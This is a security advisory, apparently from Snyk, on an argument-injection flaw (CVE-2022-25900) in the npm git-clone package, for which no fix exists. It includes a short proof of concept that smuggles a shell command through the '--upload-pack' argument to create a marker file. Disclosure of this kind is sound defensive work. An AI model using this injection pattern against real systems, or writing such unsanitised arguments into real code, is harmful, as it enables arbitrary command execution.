Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Affecting git-clone package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.5% (78th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-GITCLONE-2434308
  • published28 Jun 2022
  • disclosed28 Mar 2022
  • creditLiran Tal

Introduced: 28 Mar 2022

CVE-2022-25900  (opens in a new tab)
CWE-88  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for git-clone.

Overview

git-clone is a Clone a git repository

Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to insecure usage of the --upload-pack feature of git.

Note: A note was added to the README file of the package to only use the args option with static/trusted input!

PoC:

const clone = require('git-clone')
const repo = 'file:///tmp/zero12345'
const path = '/tmp/example-new-repo'
const options = {
    args: [
    '--upload-pack=touch /tmp/pwn2'
]}
clone(repo, path, options)

Observe a new file created: /tmp/pwn2

References

CVSS Scores

version 3.1